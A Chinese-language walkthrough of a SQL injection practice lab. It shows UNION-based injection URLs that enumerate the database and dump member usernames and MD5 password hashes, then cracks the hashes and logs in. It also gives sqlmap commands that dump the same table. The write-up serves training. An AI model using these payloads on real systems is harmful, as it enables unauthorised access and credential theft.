免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
一:思路
背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
流程
掌握SQL注入原理;
了解手工注入的方法;
了解MySQL的数据结构;
了解字符串的MD5加解密;
二:方法
方法一:手工注入
1. 开启靶场进入环境后发现一个登陆页面。(原以为此页面有注入点,各种尝试最终无疾而终,在查看源码时发现存在一个新的URL)
首页:
首页源码:
新的URL连接:
通过题目我们可以看出靶场环境是Nginx+PHP+MySQL
那我们现在启动、进入靶场
进入 靶场后我们可以看到是一个登录界面,但可以发现登录框下面有一个轮播提示新闻
找注入点
我们试着点进去看
我们点进去后,可以看到URL栏上存在一个?id=1,这里表示存在一个GET传参
要知道,SQL注入得核心是用户输入得内容被当作代码去执行
那我们现在来尝试一下,这里传参的是否输入可以被当作代码执行
这里我输入 and 1=1 网页没变,输入 and 1=2网页变了,这里就说明存在SQL注入漏洞
竟然知道存在SQL注入,那么就开始下面内容
要知道数据库有多个字段,有的数据会显示,而有的数据不会显示,这是开发所决定的,而我们接下来要用到union联合查询(而使用联合查询的条件是两条查询语句的字段数必须相同),所以我们也要知道这个网页交互的所在数据库表里有多少个字段。
这里可以得出总结:我们要知道有多少个字段,然后显示位在哪个字段
那么按照正常的SQL注入来走,就是使用 order by先获得字段数是多少,然后再使用union联合查询来找出显示位
这里我们就跳过重复的过程
到了 order by 5 页面报错,这里说明有4个字段
http://youIP/new_list.php?id=1 order by 4
好了,知道有四个字段后,我们要找出字段显示位
这里要说明一下,数据库的特性是如果两条语句都为真,先执行前面的语句再执行后面的语句
union 和order by不同的是,使用union联合查询不管前面得语句是否为真都会执行后面的语句
但是说过了,数据库特性是先执行前面的语句,所以如果前面的为真就会把显示位给占了显示前面的内容
所以我们要把前面执行的弄回and 1=2 ,让前面的内容位错,而把后面的内容显示出来
我们使用select 1,2,3,4来看一下显示位是哪个字段
http://youIP/new_list.php?id=-1 union select 1,2,3,4
这里我们就知道显示位了
在显示位3上使用database() 函数得到当前的数据库名(这里不管是显示位2,还是3,只要是输出位都可以)
爆库名
http://youIP/new_list.php?id=-1 union select 1,2,database(),4
数据库名:mozhe_Discuz_StormGroup
爆表
http://youIP/new_list.php?id=-1 union select 1, 2,group_concat(table_name) ,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
表名:StormGroup_member,notice。(猜测第一个表是我们要的表)
爆列
http://youIP/new_list.php?id=-1 union select 1, 2,group_concat(column_name) ,4 from information_schema.columns where table_name='StormGroup_member'
字段:id,name,password,status
爆字段
发现有两个账号,用户名都是mozhe,密码不一样。
http://youIP/new_list.php?id=-1 union select 1, 2,group_concat(concat_ws('~',name,password)) ,4 from mozhe_Discuz_StormGroup.StormGroup_member
字段:mozhe~ 356f589a7df439f6f744ff19bb8092c0,mozhe~ c8e100ea135c6a8346b3e0747eb78060
MD5解密
解密第一个密码
发现这个账号密码别禁用了
解密第二个密码
登录
这个可以登陆进去,并且我们发现下面存在的KEY。
方法二:工具注入(sqlmap)
爆数据库名和当前用户
sqlmap -u "http://youIP/new_list.php?id=1" -b --current-db --current-user
爆表
sqlmap -u "http://youIP/new_list.php?id=1" -D mozhe_Discuz_StormGroup -tables
爆列
sqlmap -u "http://youIP/new_list.php?id=1" -D mozhe_Discuz_StormGroup -T StormGroup_member -columns
爆字段信息
sqlmap -u "http://youIP/new_list.php?id=1" -D mozhe_Discuz_StormGroup -T StormGroup_member -C name,password --dump